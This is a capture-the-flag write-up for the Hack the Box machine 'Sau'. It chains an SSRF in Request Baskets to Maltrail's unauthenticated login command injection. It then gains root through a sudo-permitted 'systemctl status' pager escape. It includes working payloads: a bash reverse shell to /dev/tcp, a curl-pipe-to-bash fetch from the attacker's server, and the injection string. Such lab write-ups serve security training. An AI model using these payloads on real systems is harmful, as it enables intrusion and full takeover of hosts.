HTB Writeup: Sau

Writeup for Hack the Box Machine: Sau

Hello! Today let's pawn the HTB machine Sau. This is again rated Easy and it was truly easy. User own was little tricky mainly because I had to tweak the curl request a lot but root own was truly a piece of cake. So, without further ado let's start hacking!

Enumeration

First thing I did was run an nmap scan on the target to get information about the services running on the machine.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -Pn 10.10.11.224    
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 10:33 EDT
Nmap scan report for 10.10.11.224
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 15 Jul 2023 14:34:29 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 15 Jul 2023 14:34:00 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 15 Jul 2023 14:34:00 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94%I=7%D=7/15%Time=64B2AE55%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sat,\x2015\x20Jul\x20
SF:2023\x2014:34:00\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\" w="" sf:eb\"="">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202
SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sat,\x2015\x20Jul\x20
SF:2023\x2014:34:00\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request"
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nC
SF:onnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(K
SF:erberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options
SF::\x20nosniff\r\nDate:\x20Sat,\x2015\x20Jul\x202023\x2014:34:29\x20GMT\r
SF:\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20nam
SF:e\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\
SF:n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.75 seconds</a\x20href=\">

Nmap shows 3 open tcp ports. One is SSH, one is port 80 mostly used for web servers and one is port 55555. Port 55555 is a webpage. But, nmap returns three different HTTP codes, code 404, 302 and 200. 200 OK is the one I would like to focus on. 200 OK is for a subdirectory /web. So, let's visit port 55555 and subdirectory /web.

Interesting! The service running on this port is request-baskets. According to official github "Request Baskets is a web service to collect arbitrary HTTP requests and inspect them via RESTful API or simple web UI." Even the machine icon on htb has a picture of a basket. Very sneaky Sau ;)

Anyways, I create a basket on port 55555 and try to understand what is going on here.

I create a basket named "test". The website gives me a prompt with a token. This token might be useful so I copy this token for future reference. Now the basket is created and we can send requests. So, I try to send a GET request to the basket link.

┌──(kali㉿kali)-[~]
└─$ curl http://10.10.11.224:55555/test

And, sure enough we get to see the request on the web page. (You can notice the discrepancy in the dates of nmap scan and the GET request, that's because I lost all my screenshots and had to create them again -_-)

Initial Foothold

So, the requests work. Now, if we can send requests like this to the basket, it might be possible to inject some commands. I explore the icons on the top right and find a forwarding feature.

What does this forwarding do? I research a little and et voila! There's a vulnerability in the Request baskets service. A Server-Side Request Forgery (SSRF) via the component /api/baskets/{name}. We can access network resources and sensitive information via the crafted API request.

The vulnerability information page says the following crafted API request can be sent to /api/baskets/{name}.

{
  "forward_url": "http://127.0.0.1:80/test",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 200
}

We can send this information as a curl request, but I will craft it in the web page itself. I tweaked the payload a bit and enabled both Proxy Response and Expand Forward Path.

Then, I try visiting http://10.10.11.224:80/test but with no luck. This was a little time consuming for me because I had to try lot of requests. Finally, I got a response out of sheer luck on http://10.10.11.224:55555/test. A new service is running here, Maltrail.

Getting User Shell

Now, I did a little research on Maltrail and turns out Maltrail has a vulnerability of unauthorised command injection. Here, we can run commands without needing authentication. The exploit code is:

curl 'http://hostname:8338/login' \
  --data 'username=;`id > /tmp/bbq`'

The exploit code only works for /login directory. Right now, we are redirecting all our requests to /test. So, we need to change that to /login for the exploit to work.

Now, let's tweak the exploit a little. I will insert a bash script as a command to get a reverse shell. First create a bash.sh file on your host machine.

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.30/4444 0>&1

Now, start a netcat listener on port 4444.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444                   
listening on [any] 4444 ...

Also, run a python server on host machine so the exploit can retrieve the bash.sh file.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Let's run the exploit now. I disabled the Expand Forward Path on my basket configuration so the URL http://10.10.11.224:55555/test redirects straight to http://127.0.0.1:80/login.

┌──(kali㉿kali)-[~]
└─$ curl 'http://10.10.11.224:55555/test' --data 'username=;`curl 10.10.14.30:8000/bash.sh|bash`'

What this will do is first retrieve the bash.sh file from host machine with curl, and then run the command as bash script. Look at your netcat listener and [hacker voice] I'm in.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444            
listening on [any] 4444 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.224] 51704
bash: cannot set terminal process group (914): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ whoami
whoami
puma

The user flag can be found at /home/puma/user.txt.

Privilege Escalation

As this is an easy box, I run the sudo -l command to check if there are any misconfigurations.

puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

We can run the /usr/bin/systemctl status trail.service command without password. I visited GTFOBins and found a less vulnerability on sudo services. But first, I spawn a TTY with python3 -c 'import pty;pty.spawn("/bin/bash")'.

Now, I execute the sudo command as we enter a less like interface, I use the !sh command to break out of the environment and enter root privileges.

puma@sau:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!sh
!sshh!sh
# whoami
whoami
root
#

Find the root flag under /root/root.txt. And, Sau is pawned! Thank you for reading, stay tuned for more writeups.

Last updated